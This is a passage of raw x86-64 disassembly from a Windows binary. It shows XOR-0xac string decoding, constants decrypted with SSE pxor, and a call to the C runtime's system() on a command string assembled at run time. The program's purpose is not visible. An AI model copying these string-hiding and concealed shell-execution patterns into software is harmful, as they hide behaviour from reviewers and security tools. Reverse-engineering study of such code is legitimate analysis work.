movdqa xmmword [rbp + 0x1180], xmm1
mov rcx, r15
lea rdx, [0x7ff7cbf93860]
mov al, byte [rbp + rcx + 0x1170]
mov byte [rcx + rdx], al
add rcx, rbx
test al, al
jne 0x7ff7cbf72214
add rdi, 0x134
cmp rdi, qword [rbp + 0x9ab0]
lea rbx, [0x7ff7cbf93970]
jne 0x7ff7cbf71de4
call fcn.7ff7cbf22410
mov edi, 1
mov ecx, 5
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf8446c]
sub r8, rax
mov r9d, 4
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf72267
mov byte [rax + 4], r15b
xor r8d, r8d
xor edx, edx
mov rcx, rax
call fcn.7ff7cbf21090
test al, al
je 0x7ff7cbf738c8
movaps xmm0, xmm10
call fcn.7ff7cbf07930
mov ecx, 0xe
call fcn.7ff7cbf78368
mov rbx, rax
mov rdx, rax
lea rax, [0x7ff7cbf84478]
sub rax, rdx
mov r9d, 0xd
mov r8d, r9d
mov cl, byte [rax + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r8, rdi
jne 0x7ff7cbf722bd
mov byte [rbx + 0xd], r15b
mov rcx, r9
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf84488]
sub r8, rax
mov r9d, 0xc
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf722ec
mov byte [rax + 0xc], r15b
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9d, 0x32
lea r8, [0x7ff7cbf94f80]
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf250c4
call fcn.7ff7cbf0750c
movaps xmm1, xmm9
movaps xmm0, xmm6
call fcn.7ff7cbf0a134
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x3620]
call fcn.7ff7cbf365e4
mov rbx, rax
mov ecx, 7
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf84498]
sub r8, rax
mov r9d, 6
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf7236b
mov byte [rax + 6], r15b
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf21118
test al, al
je 0x7ff7cbf73155
lea rdx, [0x7ff7cbf94f80]
lea rcx, [rbp + 0x4a60]
call fcn.7ff7cbf359ec
lea rcx, [rbp + 0x4a60]
call fcn.7ff7cbf3fb30
mov bl, al
lea rcx, [rbp + 0x4a60]
call fcn.7ff7cbf376b0
test bl, bl
jne 0x7ff7cbf72547
movabs rbx, 0x4502c088d0649c7
mov qword [rbp + 0x19b0], rbx
mov qword [rbp + 0x19b8], r12
lea r8, [rbp + 0x19c0]
lea rdx, [rbp + 0x19b0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa1f0], r13
mov qword [rbp + 0x19c0], r13
mov qword [rbp + 0xa1f8], r12
mov qword [rbp + 0x19c8], r12
lea r8, [rbp + 0x19d0]
lea rdx, [rbp + 0x19c0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x980], rbx
mov qword [rbp + 0x19d0], rbx
mov qword [rbp + 0x988], r12
mov qword [rbp + 0x19d8], r12
lea r8, [rbp + 0x19e0]
lea rdx, [rbp + 0x19d0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x980]
pxor xmm0, xmmword [rbp + 0xa1f0]
movdqa xmmword [rbp + 0x980], xmm0
movabs rdi, 0x4294963d2625b80
mov qword [rbp + 0x19e0], rdi
mov qword [rbp + 0x19e8], r12
lea r8, [rbp + 0x19f0]
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa1e0], r13
mov qword [rbp + 0x19f0], r13
mov qword [rbp + 0xa1e8], r12
mov qword [rbp + 0x19f8], r12
lea r8, [rbp + 0x1a00]
lea rdx, [rbp + 0x19f0]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x990], rdi
mov qword [rbp + 0x1a00], rdi
mov qword [rbp + 0x998], r12
mov qword [rbp + 0x1a08], r12
lea r8, [rbp + 0x1a10]
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x9b10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x990]
pxor xmm0, xmmword [rbp + 0xa1e0]
movdqa xmmword [rbp + 0x990], xmm0
lea r8, [rbp + 0x980]
lea rdx, [rbp + 0x990]
jmp 0x7ff7cbf73144
lea rdx, [0x7ff7cbf94900]
lea rcx, [rbp + 0x6940]
call fcn.7ff7cbf359ec
mov rdi, rax
lea rdx, [0x7ff7cbf93600]
lea rcx, [rbp + 0x6960]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9a90], rax
lea rdx, [0x7ff7cbf93620]
lea rcx, [rbp + 0x6980]
call fcn.7ff7cbf359c8
mov qword [rbp + 0x9a60], rax
lea rdx, [0x7ff7cbf94f80]
lea rcx, [rbp + 0x69a0]
call fcn.7ff7cbf359ec
mov qword [rbp + 0x99e0], rax
lea rcx, [rbp + 0x9a00]
call fcn.7ff7cbf4c748
lea rcx, [rbp + 0x9a00]
call fcn.7ff7cbf4e858
lea rcx, [rbp + 0x9a70]
test al, al
je 0x7ff7cbf72753
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0x2c10], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0x2c18], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0x2c20], rax
mov qword [rbp + 0x2c28], r14
lea r8, [rbp + 0x2c30]
lea rdx, [rbp + 0x2c10]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa9a0], r13
mov qword [rbp + 0x2c30], r13
mov qword [rbp + 0xa9a8], r12
mov qword [rbp + 0x2c38], r12
mov qword [rbp + 0xa9b0], rsi
mov qword [rbp + 0x2c40], rsi
mov qword [rbp + 0xa9b8], r14
mov qword [rbp + 0x2c48], r14
lea r8, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c30]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xa70], rax
mov qword [rbp + 0x2c50], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xa78], rax
mov qword [rbp + 0x2c58], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xa80], rax
mov qword [rbp + 0x2c60], rax
mov qword [rbp + 0xa88], r14
mov qword [rbp + 0x2c68], r14
lea r8, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c50]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xa70]
pxor xmm0, xmmword [rbp + 0xa9a0]
movdqa xmmword [rbp + 0xa70], xmm0
movdqa xmm1, xmmword [rbp + 0xa80]
pxor xmm1, xmmword [rbp + 0xa9b0]
movdqa xmmword [rbp + 0xa80], xmm1
lea rdx, [rbp + 0xa70]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf38164
lea rcx, [rbp + 0x9a00]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, rbx
jmp 0x7ff7cbf73077
movabs rbx, 0x6f762c15bb164bc4
mov qword [rbp + 0x1a10], rbx
movabs rax, 0xe1b652f26fbae0c3
mov qword [rbp + 0x1a18], rax
lea r8, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a10]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa1d0], r13
mov qword [rbp + 0x1a20], r13
mov qword [rbp + 0xa1d8], r12
mov qword [rbp + 0x1a28], r12
lea r8, [rbp + 0x1a30]
lea rdx, [rbp + 0x1a20]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9a0], rbx
mov qword [rbp + 0x1a30], rbx
movabs rax, 0xe1b652f26fbae0c3
mov qword [rbp + 0x9a8], rax
mov qword [rbp + 0x1a38], rax
lea r8, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a30]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x9a0]
pxor xmm0, xmmword [rbp + 0xa1d0]
movdqa xmmword [rbp + 0x9a0], xmm0
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0x69c0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x9a00]
lea rcx, [rbp + 0x69e0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8ae0]
call fcn.7ff7cbf4c4e4
lea rcx, [rbp + 0x8780]
call fcn.7ff7cbf35ca8
lea rdx, [rbp + 0x9a00]
lea rcx, [rbp + 0x6a00]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x1a40], rax
mov qword [rbp + 0x1a48], r12
lea r8, [rbp + 0x1a50]
lea rdx, [rbp + 0x1a40]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa1c0], r13
mov qword [rbp + 0x1a50], r13
mov qword [rbp + 0xa1c8], r12
mov qword [rbp + 0x1a58], r12
lea r8, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a50]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x9b0], rax
mov qword [rbp + 0x1a60], rax
mov qword [rbp + 0x9b8], r12
mov qword [rbp + 0x1a68], r12
lea r8, [rbp + 0x1a70]
lea rdx, [rbp + 0x1a60]
lea rcx, [rbp + 0x9b10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x9b0]
pxor xmm0, xmmword [rbp + 0xa1c0]
movdqa xmmword [rbp + 0x9b0], xmm0
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x6a20]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8780]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x8ae0]
lea rcx, [rbp + 0x6a40]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x1a70], rax
mov qword [rbp + 0x1a78], r12
lea r8, [rbp + 0x1a80]
lea rdx, [rbp + 0x1a70]
lea rcx, [rbp + 0x9c50]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa1b0], r13
mov qword [rbp + 0x1a80], r13
mov qword [rbp + 0xa1b8], r12
mov qword [rbp + 0x1a88], r12
lea r8, [rbp + 0x1a90]
lea rdx, [rbp + 0x1a80]
lea rcx, [rbp + 0x9bc0]
call fcn.7ff7cbf35cf8
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x9c0], rax
mov qword [rbp + 0x1a90], rax
mov qword [rbp + 0x9c8], r12
mov qword [rbp + 0x1a98], r12
lea r8, [rbp + 0x1aa0]
lea rdx, [rbp + 0x1a90]
lea rcx, [rbp + 0x9c80]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x9c0]
pxor xmm0, xmmword [rbp + 0xa1b0]
movdqa xmmword [rbp + 0x9c0], xmm0
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x6a60]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8780]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x6a80]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b30349c4
mov qword [rbp + 0x1aa0], rax
mov qword [rbp + 0x1aa8], r12
lea r8, [rbp + 0x1ab0]
lea rdx, [rbp + 0x1aa0]
lea rcx, [rbp + 0x9c20]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa1a0], r13
mov qword [rbp + 0x1ab0], r13
mov qword [rbp + 0xa1a8], r12
mov qword [rbp + 0x1ab8], r12
lea r8, [rbp + 0x1ac0]
lea rdx, [rbp + 0x1ab0]
lea rcx, [rbp + 0x9c10]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b30349c4
mov qword [rsp + 0x70], rax
mov qword [rbp + 0x1ac0], rax
mov qword [rsp + 0x78], r12
mov qword [rbp + 0x1ac8], r12
lea r8, [rbp + 0x1ad0]
lea rdx, [rbp + 0x1ac0]
lea rcx, [rbp + 0x9c00]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rbp + 0xa1a0]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x6aa0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8780]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9a60]
lea rcx, [rbp + 0x6ac0]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b0004ac7
mov qword [rbp + 0x1ad0], rax
mov qword [rbp + 0x1ad8], r12
lea r8, [rbp + 0x1ae0]
lea rdx, [rbp + 0x1ad0]
lea rcx, [rbp + 0x9bf0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9fe0], r13
mov qword [rbp + 0x1ae0], r13
mov qword [rbp + 0x9fe8], r12
mov qword [rbp + 0x1ae8], r12
lea r8, [rbp + 0x1af0]
lea rdx, [rbp + 0x1ae0]
lea rcx, [rbp + 0x9be0]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b0004ac7
mov qword [rbp - 0x80], rax
mov qword [rbp + 0x1af0], rax
mov qword [rbp - 0x78], r12
mov qword [rbp + 0x1af8], r12
lea r8, [rbp + 0x1b00]
lea rdx, [rbp + 0x1af0]
lea rcx, [rbp + 0x9bd0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp + 0x9fe0]
movdqa xmmword [rbp - 0x80], xmm0
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x6ae0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8780]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9a90]
lea rcx, [rbp + 0x6b00]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b1014bc6
mov qword [rbp + 0x1b00], rax
mov qword [rbp + 0x1b08], r12
lea r8, [rbp + 0x1b10]
lea rdx, [rbp + 0x1b00]
lea rcx, [rbp + 0x9cb0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9e90], r13
mov qword [rbp + 0x1b10], r13
mov qword [rbp + 0x9e98], r12
mov qword [rbp + 0x1b18], r12
lea r8, [rbp + 0x1b20]
lea rdx, [rbp + 0x1b10]
lea rcx, [rbp + 0x9ca0]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b1014bc6
mov qword [rbp - 0x70], rax
mov qword [rbp + 0x1b20], rax
mov qword [rbp - 0x68], r12
mov qword [rbp + 0x1b28], r12
lea r8, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b20]
lea rcx, [rbp + 0x9c90]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0x9e90]
movdqa xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x6b20]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8780]
call fcn.7ff7cbf58f9c
mov rdx, rdi
lea rcx, [rbp + 0x6b40]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b6064cc1
mov qword [rbp + 0x1b30], rax
mov qword [rbp + 0x1b38], r12
lea r8, [rbp + 0x1b40]
lea rdx, [rbp + 0x1b30]
lea rcx, [rbp + 0x9cc0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xaa90], r13
mov qword [rbp + 0x1b40], r13
mov qword [rbp + 0xaa98], r12
mov qword [rbp + 0x1b48], r12
lea r8, [rbp + 0x1b50]
lea rdx, [rbp + 0x1b40]
lea rcx, [rbp + 0x9d80]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b6064cc1
mov qword [rbp - 0x60], rax
mov qword [rbp + 0x1b50], rax
mov qword [rbp - 0x58], r12
mov qword [rbp + 0x1b58], r12
lea r8, [rbp + 0x1b60]
lea rdx, [rbp + 0x1b50]
lea rcx, [rbp + 0x9d70]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp - 0x60]
pxor xmm0, xmmword [rbp + 0xaa90]
movdqa xmmword [rbp - 0x60], xmm0
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x6b60]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8780]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4a80]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8780]
lea rdx, [rbp + 0x4a80]
lea rcx, [rbp + 0x9300]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4a80]
call fcn.7ff7cbf3ecd0
movabs rbx, 0x76763a16a6035cd6
mov qword [rbp + 0x1b60], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x1b68], rax
lea r8, [rbp + 0x1b70]
lea rdx, [rbp + 0x1b60]
lea rcx, [rbp + 0x9d60]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xaa80], r13
mov qword [rbp + 0x1b70], r13
mov qword [rbp + 0xaa88], r12
mov qword [rbp + 0x1b78], r12
lea r8, [rbp + 0x1b80]
lea rdx, [rbp + 0x1b70]
lea rcx, [rbp + 0x9d50]
call fcn.7ff7cbf35cf8
mov qword [rbp - 0x50], rbx
mov qword [rbp + 0x1b80], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp - 0x48], rax
mov qword [rbp + 0x1b88], rax
lea r8, [rbp + 0x1b90]
lea rdx, [rbp + 0x1b80]
lea rcx, [rbp + 0x9d40]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp + 0xaa80]
movdqa xmmword [rbp - 0x50], xmm0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x6b80]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x9300]
lea rcx, [rbp + 0x6ba0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8898]
call fcn.7ff7cbf58a40
movabs rbx, 0x625a3a06b1015dd6
mov qword [rbp + 0x1b90], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x1b98], rax
lea r8, [rbp + 0x1ba0]
lea rdx, [rbp + 0x1b90]
lea rcx, [rbp + 0x9d30]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xaa00], r13
mov qword [rbp + 0x1ba0], r13
mov qword [rbp + 0xaa08], r12
mov qword [rbp + 0x1ba8], r12
lea r8, [rbp + 0x1bb0]
lea rdx, [rbp + 0x1ba0]
lea rcx, [rbp + 0x9d20]
call fcn.7ff7cbf35cf8
mov qword [rbp - 0x40], rbx
mov qword [rbp + 0x1bb0], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x1bb8], rax
lea r8, [rbp + 0x1bc0]
lea rdx, [rbp + 0x1bb0]
lea rcx, [rbp + 0x9d10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rbp + 0xaa00]
movdqa xmmword [rbp - 0x40], xmm0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x8898]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf77279
lea rdx, [rbp + 0x8898]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8898]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9300]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8780]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8ae0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9a00]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, rdi
call fcn.7ff7cbf376b0
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3fb20
mov rbx, rax
movabs rdi, 0x4294963d2625b80
mov qword [rbp + 0x1bc0], rdi
mov qword [rbp + 0x1bc8], r12
lea r8, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bc0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa910], r13
mov qword [rbp + 0x1bd0], r13
mov qword [rbp + 0xa918], r12
mov qword [rbp + 0x1bd8], r12
lea r8, [rbp + 0x1be0]
lea rdx, [rbp + 0x1bd0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp - 0x30], rdi
mov qword [rbp + 0x1be0], rdi
mov qword [rbp - 0x28], r12
mov qword [rbp + 0x1be8], r12
lea r8, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1be0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp + 0xa910]
movdqa xmmword [rbp - 0x30], xmm0
mov r8, rbx
lea rdx, [rbp - 0x30]
lea rcx, [0x7ff7cbf93860]
call fcn.7ff7cbf0fbb8
jmp 0x7ff7cbf75261
mov ecx, 0xa
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf83e58]
sub r8, rax
mov r9d, 9
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf73172
mov byte [rax + 9], r15b
mov rdx, rax
lea rcx, [0x7ff7cbf93400]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf7325f
lea rcx, [0x7ff7cbf93520]
call fcn.7ff7cbf4e858
test al, al
jne 0x7ff7cbf7325f
movaps xmm1, xmm9
movaps xmm0, xmm6
call fcn.7ff7cbf0a134
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x3628]
call fcn.7ff7cbf365e4
mov rbx, rax
mov ecx, 7
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf844a0]
sub r8, rax
mov r9d, 6
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf731f0
mov byte [rax + 6], r15b
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf21118
test al, al
je 0x7ff7cbf7325f
lea rcx, [0x7ff7cbf93520]
call fcn.7ff7cbf4e858
test al, al
jne 0x7ff7cbf7325f
lea r8, [0x7ff7cbf93520]
lea rdx, [0x7ff7cbf84464]
lea rcx, [rbp + 0x9460]
call fcn.7ff7cbf2ae10
lea rcx, [rbp + 0x9460]
call fcn.7ff7cbf3fb20
mov rcx, rax
call qword [sym.imp.ucrtbase.dll_system]
lea rcx, [rbp + 0x9460]
call fcn.7ff7cbf376b0
call fcn.7ff7cbf26308
lea rcx, [0x7ff7cbf93520]
call fcn.7ff7cbf4e858
test al, al
je 0x7ff7cbf733c5
movabs rbx, 0x6b476959b71641d6
mov qword [rbp + 0x2c70], rbx
movabs rax, 0x97d772860ac3b9d2
mov qword [rbp + 0x2c78], rax
movabs rax, 0x5c52e0538dc27e96
mov qword [rbp + 0x2c80], rax
mov qword [rbp + 0x2c88], r14
lea r8, [rbp + 0x2c90]
lea rdx, [rbp + 0x2c70]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa980], r13
mov qword [rbp + 0x2370], r13
mov qword [rbp + 0xa988], r12
mov qword [rbp + 0x2378], r12
mov qword [rbp + 0xa990], rsi
mov qword [rbp + 0x2380], rsi
mov qword [rbp + 0xa998], r14
mov qword [rbp + 0x2388], r14
lea r8, [rbp + 0x2390]
lea rdx, [rbp + 0x2370]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa90], rbx
mov qword [rbp + 0x2390], rbx
movabs rax, 0x97d772860ac3b9d2
mov qword [rbp + 0xa98], rax
mov qword [rbp + 0x2398], rax
movabs rax, 0x5c52e0538dc27e96
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0x23a0], rax
mov qword [rbp + 0xaa8], r14
mov qword [rbp + 0x23a8], r14
lea r8, [rbp + 0x23b0]
lea rdx, [rbp + 0x2390]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xa90]
pxor xmm0, xmmword [rbp + 0xa980]
movdqa xmmword [rbp + 0xa90], xmm0
movdqa xmm1, xmmword [rbp + 0xaa0]
pxor xmm1, xmmword [rbp + 0xa990]
movdqa xmmword [rbp + 0xaa0], xmm1
lea rcx, [rbp + 0xa90]
call fcn.7ff7cbf28d0c
jmp 0x7ff7cbf73494
lea rcx, [0x7ff7cbf93520]
call fcn.7ff7cbf3fb20
mov rbx, rax
movabs rax, 0x770c6959b71641d6
mov qword [rbp + 0x1bf0], rax
mov qword [rbp + 0x1bf8], r12
lea r8, [rbp + 0x1c00]
lea rdx, [rbp + 0x1bf0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa840], r13
mov qword [rbp + 0x1c00], r13
mov qword [rbp + 0xa848], r12
mov qword [rbp + 0x1c08], r12
lea r8, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c00]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x770c6959b71641d6
mov qword [rbp - 0x20], rax
mov qword [rbp + 0x1c10], rax
mov qword [rbp - 0x18], r12
mov qword [rbp + 0x1c18], r12
lea r8, [rbp + 0x1c20]
lea rdx, [rbp + 0x1c10]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0xa840]
movdqa xmmword [rbp - 0x20], xmm0
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.7ff7cbf28d0c
lea rcx, [0x7ff7cbf93600]
call fcn.7ff7cbf3fb20
mov rbx, rax
movabs rax, 0x6144280da0075bd0
mov qword [rbp + 0x1c20], rax
movabs rax, 0xe1b652f21c9fb99c
mov qword [rbp + 0x1c28], rax
lea r8, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c20]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa900], r13
mov qword [rbp + 0x1c30], r13
mov qword [rbp + 0xa908], r12
mov qword [rbp + 0x1c38], r12
lea r8, [rbp + 0x1c40]
lea rdx, [rbp + 0x1c30]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x6144280da0075bd0
mov qword [rbp - 0x10], rax
mov qword [rbp + 0x1c40], rax
movabs rax, 0xe1b652f21c9fb99c
mov qword [rbp - 8], rax
mov qword [rbp + 0x1c48], rax
lea r8, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c40]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp - 0x10]
pxor xmm0, xmmword [rbp + 0xa900]
movdqa xmmword [rbp - 0x10], xmm0
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.7ff7cbf28d0c
lea rcx, [0x7ff7cbf93620]
call fcn.7ff7cbf3fb20
mov rbx, rax
movabs rax, 0x770c6959b60b5fcd
mov qword [rbp + 0x1c50], rax
mov qword [rbp + 0x1c58], r12
lea r8, [rbp + 0x1c60]
lea rdx, [rbp + 0x1c50]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa8f0], r13
mov qword [rbp + 0x1c60], r13
mov qword [rbp + 0xa8f8], r12
mov qword [rbp + 0x1c68], r12
lea r8, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c60]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
movabs rax, 0x770c6959b60b5fcd
mov qword [rbp], rax
mov qword [rbp + 0x1c70], rax
mov qword [rbp + 8], r12
mov qword [rbp + 0x1c78], r12
lea r8, [rbp + 0x1c80]
lea rdx, [rbp + 0x1c70]
lea rcx, [rbp + 0x9b10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rbp + 0xa8f0]
movdqa xmmword [rbp], xmm0
mov rdx, rbx
lea rcx, [rbp]
call fcn.7ff7cbf28d0c
mov rbx, qword [0x7ff7cbf94af0]
mov rax, qword [0x7ff7cbf94af8]
